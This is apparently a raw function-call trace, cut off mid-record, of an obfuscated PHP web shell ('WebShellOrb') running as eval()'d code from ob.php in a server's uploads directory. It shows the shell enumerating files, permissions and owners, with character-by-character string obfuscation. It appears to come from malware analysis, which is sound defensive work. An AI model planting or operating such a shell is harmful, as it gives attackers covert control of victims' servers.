A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $fdkdqgpmwo = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['prriunh'] = 'ow' 4 169 0 0.033904 1498232 filemtime 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/prepend.php' 4 169 1 0.033921 1498296 4 169 R 1676259820 4 170 0 0.033935 1498192 date 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 'Y-m-d H:i:s' 1676259820 4 170 1 0.033966 1498520 4 170 R '2023-02-12 22:43:40' 4 171 0 0.033982 1498512 WebShellOrbPermsColor 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/prepend.php' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $hfgpvmt = 'f' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['wmakjqctvr'] = 'f' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['pigyuorhk'] = 'f' 5 172 0 0.034032 1498512 is_readable 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/prepend.php' 5 172 1 0.034049 1498552 5 172 R TRUE 5 173 0 0.034063 1498512 is_writable 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/prepend.php' 5 173 1 0.034079 1498552 5 173 R FALSE 5 174 0 0.034093 1498512 fileperms 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/prepend.php' 5 174 1 0.034108 1498552 5 174 R 33261 5 175 0 0.034121 1498512 WebShellOrbPerms 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 33261 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $qwyrtxgnisf = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $lreavxykf = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ctwfzevrci = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['qtdsyeg'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $mhcxeci = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $auktcgubws = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $alkqtmvu = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['nhlvkvrl'] = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ilolonrsko = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vlkybhpqjn = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['idxhruzeutti'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['kyhbiltfi'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ohjadiupdto'] = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $qkybts = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $iwcqbfpgngg = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['olqfmkengz'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $jupethhvkj = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ii = '-' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'w' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['yxcnjhn'] = 'i' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'x' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['shsxvtn'] = 'p' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '-' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'x' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'r' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '-' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'x' 5 175 1 0.034445 1498552 5 175 R '-rwxr-xr-x' 4 171 1 0.034460 1498576 4 171 R '-rwxr-xr-x' 4 176 0 0.034477 1498576 filesize 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/prepend.php' 4 176 1 0.034492 1498616 4 176 R 57 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $tmptmp = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ihlumwlqnhp'] = 'dirs' 4 177 0 0.034543 1498200 is_file 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/prepend.php' 4 177 1 0.034558 1498240 4 177 R TRUE 4 178 0 0.034571 1498136 array_merge 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root'] ['type' => 'file'] 4 178 1 0.034595 1498576 4 178 R ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 files[] = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null)++ 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['sort'] = [0 => 'name', 1 => 1] 4 179 0 0.034669 1498536 usort 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 [0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'ob.php', 'path' => '/var/www/html/uploads/ob.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-rw-r--', 'size' => 66027, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']] 'WebShellOrbCmp' 5 180 0 0.034708 1498984 WebShellOrbCmp 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'] ['name' => 'ob.php', 'path' => '/var/www/html/uploads/ob.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-rw-r--', 'size' => 66027, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'] 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $wvhrpin = 'b' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $cemcmlklowtc = 'a' 6 181 0 0.034760 1498984 strtolower 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.htaccess' 6 181 1 0.034774 1499016 6 181 R '.htaccess' 6 182 0 0.034789 1498984 strtolower 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'ob.php' 6 182 1 0.034802 1499016 6 182 R 'ob.php' 6 183 0 0.034816 1498984 strcmp 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 '.htaccess' 'ob.php' 6 183 1 0.034830 1499048 6 183 R -1 5 180 1 0.034844 1498984 5 180 R -1 5 184 0 0.034858 1498984 WebShellOrbCmp 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 ['name' => 'ob.php', 'path' => '/var/www/html/uploads/ob.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-rw-r--', 'size' => 66027, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'] ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'] 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $wvhrpin = 'b' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $cemcmlklowtc = 'a' 6 185 0 0.034912 1498984 strtolower 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'ob.php' 6 185 1 0.034925 1499016 6 185 R 'ob.php' 6 186 0 0.034939 1498984 strtolower 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'prepend.php' 6 186 1 0.034953 1499016 6 186 R 'prepend.php' 6 187 0 0.034966 1498984 strcmp 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 'ob.php' 'prepend.php' 6 187 1 0.034980 1499048 6 187 R -1 5 184 1 0.034994 1498984 5 184 R -1 4 179 1 0.035007 1498608 4 179 R TRUE 4 188 0 0.035021 1498560 usort 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 [0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']] 'WebShellOrbCmp' 5 189 0 0.035054 1499008 WebShellOrbCmp 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $wvhrpin = 'b' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $cemcmlklowtc = 'a' 6 190 0 0.035103 1499008 strtolower 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.' 6 190 1 0.035116 1499040 6 190 R '.' 6 191 0 0.035129 1499008 strtolower 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '..' 6 191 1 0.035142 1499040 6 191 R '..' 6 192 0 0.035155 1499008 strcmp 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 '.' '..' 6 192 1 0.035168 1499072 6 192 R -1 5 189 1 0.035182 1499008 5 189 R -1 5 193 0 0.035194 1499008 WebShellOrbCmp 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $wvhrpin = 'b' 5 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $cemcmlklowtc = 'a' 6 194 0 0.035242 1499008 strtolower 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '..' 6 194 1 0.035255 1499040 6 194 R '..' 6 195 0 0.035268 1499008 strtolower 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'data' 6 195 1 0.035280 1499040 6 195 R 'data' 6 196 0 0.035294 1499008 strcmp 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 '..' 'data' 6 196 1 0.035307 1499072 6 196 R -3552051 5 193 1 0.035321 1499008 5 193 R -3552051 4 188 1 0.035334 1498632 4 188 R TRUE 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $fjurgbvuldau = 'files' 4 197 0 0.035359 1498512 array_merge 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 [0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']] [0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'ob.php', 'path' => '/var/www/html/uploads/ob.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-rw-r--', 'size' => 66027, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']] 4 197 1 0.035408 1498952 4 197 R [0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 3 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 4 => ['name' => 'ob.php', 'path' => '/var/www/html/uploads/ob.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-rw-r--', 'size' => 66027, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 5 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $filesfiles = [0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 3 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 4 => ['name' => 'ob.php', 'path' => '/var/www/html/uploads/ob.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-rw-r--', 'size' => 66027, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 5 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ll = 0 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ff = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dwvibzt = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $etnrnpxldmn = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ccfvqihqjil'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['szfifyf'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ftzjqt = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $gnoadugbfdu = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $djskevnnm = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $mhjrxxhgopd = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $lbmonmg = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['zppmigmvqhk'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kjkiswjllpu = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $oxvhme = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['cpticd'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['hthoifyfkl'] = 'l' 4 198 0 0.035703 1498592 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.' 4 198 1 0.035718 1498656 4 198 R '.' 4 199 0 0.035734 1498720 htmlspecialchars 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.' 4 199 1 0.035749 1498912 4 199 R '.' 4 200 0 0.035765 1498832 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.' 4 200 1 0.035779 1498896 4 200 R '.' 4 201 0 0.035793 1498896 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.' 4 201 1 0.035806 1498960 4 201 R '.' 4 202 0 0.035820 1498960 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.' 4 202 1 0.035833 1499024 4 202 R '.' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ll = 1 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ff = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dwvibzt = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $etnrnpxldmn = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ccfvqihqjil'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['szfifyf'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ftzjqt = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $gnoadugbfdu = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $djskevnnm = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $mhjrxxhgopd = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $lbmonmg = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['zppmigmvqhk'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kjkiswjllpu = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $oxvhme = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['cpticd'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['hthoifyfkl'] = 'l' 4 203 0 0.036033 1498608 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '..' 4 203 1 0.036047 1498672 4 203 R '..' 4 204 0 0.036062 1498720 htmlspecialchars 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '..' 4 204 1 0.036075 1498912 4 204 R '..' 4 205 0 0.036090 1498832 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '..' 4 205 1 0.036103 1498896 4 205 R '..' 4 206 0 0.036117 1498960 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '..' 4 206 1 0.036130 1499024 4 206 R '..' 4 207 0 0.036143 1499024 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '..' 4 207 1 0.036156 1499088 4 207 R '..' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ll = 0 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ff = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:43:40', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dwvibzt = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $etnrnpxldmn = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ccfvqihqjil'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['szfifyf'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ftzjqt = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $gnoadugbfdu = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $djskevnnm = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $mhjrxxhgopd = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $lbmonmg = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['zppmigmvqhk'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kjkiswjllpu = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $oxvhme = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['cpticd'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['hthoifyfkl'] = 'l' 4 208 0 0.036358 1498592 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'data' 4 208 1 0.036372 1498656 4 208 R 'data' 4 209 0 0.036387 1498720 htmlspecialchars 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'data' 4 209 1 0.036401 1498912 4 209 R 'data' 4 210 0 0.036416 1498832 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'data' 4 210 1 0.036430 1498896 4 210 R 'data' 4 211 0 0.036444 1498960 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'data' 4 211 1 0.036457 1499024 4 211 R 'data' 4 212 0 0.036470 1499024 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'data' 4 212 1 0.036483 1499088 4 212 R 'data' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ll = 1 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ff = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dwvibzt = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $etnrnpxldmn = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ccfvqihqjil'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['szfifyf'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ftzjqt = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $gnoadugbfdu = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $djskevnnm = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $mhjrxxhgopd = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $lbmonmg = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['zppmigmvqhk'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kjkiswjllpu = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $oxvhme = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['cpticd'] = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['hthoifyfkl'] = 'l' 4 213 0 0.036678 1498608 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.htaccess' 4 213 1 0.036692 1498680 4 213 R '.htaccess' 4 214 0 0.036707 1498672 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.htaccess' 4 214 1 0.036720 1498744 4 214 R '.htaccess' 4 215 0 0.036734 1498752 htmlspecialchars 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.htaccess' 4 215 1 0.036748 1498944 4 215 R '.htaccess' 4 216 0 0.036763 1498736 WebShellOrbViewSize 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 64 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['gimekbfm'] = 's' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['cbmexkhxicy'] = 's' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dqglmpbjtwd = 's' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vamszp = 's' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $jwevteetyqc = 's' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $uebsygttsee = 's' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['nmpwumxsjgpa'] = 's' 5 217 0 0.036857 1498736 sprintf 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 '%u' 64 5 217 1 0.036872 1499120 5 217 R '64' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $s$vamszps = '64' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $rsztkxvkbp = 's' 4 216 1 0.036909 1498768 4 216 R '64 B' 4 218 0 0.036924 1498832 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.htaccess' 4 218 1 0.036951 1498904 4 218 R '.htaccess' 4 219 0 0.036966 1498960 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.htaccess' 4 219 1 0.036979 1499032 4 219 R '.htaccess' 4 220 0 0.036993 1499024 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.htaccess' 4 220 1 0.037006 1499096 4 220 R '.htaccess' 4 221 0 0.037021 1499024 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.htaccess' 4 221 1 0.037034 1499096 4 221 R '.htaccess' 4 222 0 0.037047 1499184 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '.htaccess' 4 222 1 0.037060 1499256 4 222 R '.htaccess' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ll = 0 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ff = ['name' => 'ob.php', 'path' => '/var/www/html/uploads/ob.php', 'modify' => '2023-02-12 22:43:40', 'perms' => '-rw-rw-r--', 'size' => 66027, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'] 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dwvibzt = 'f' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 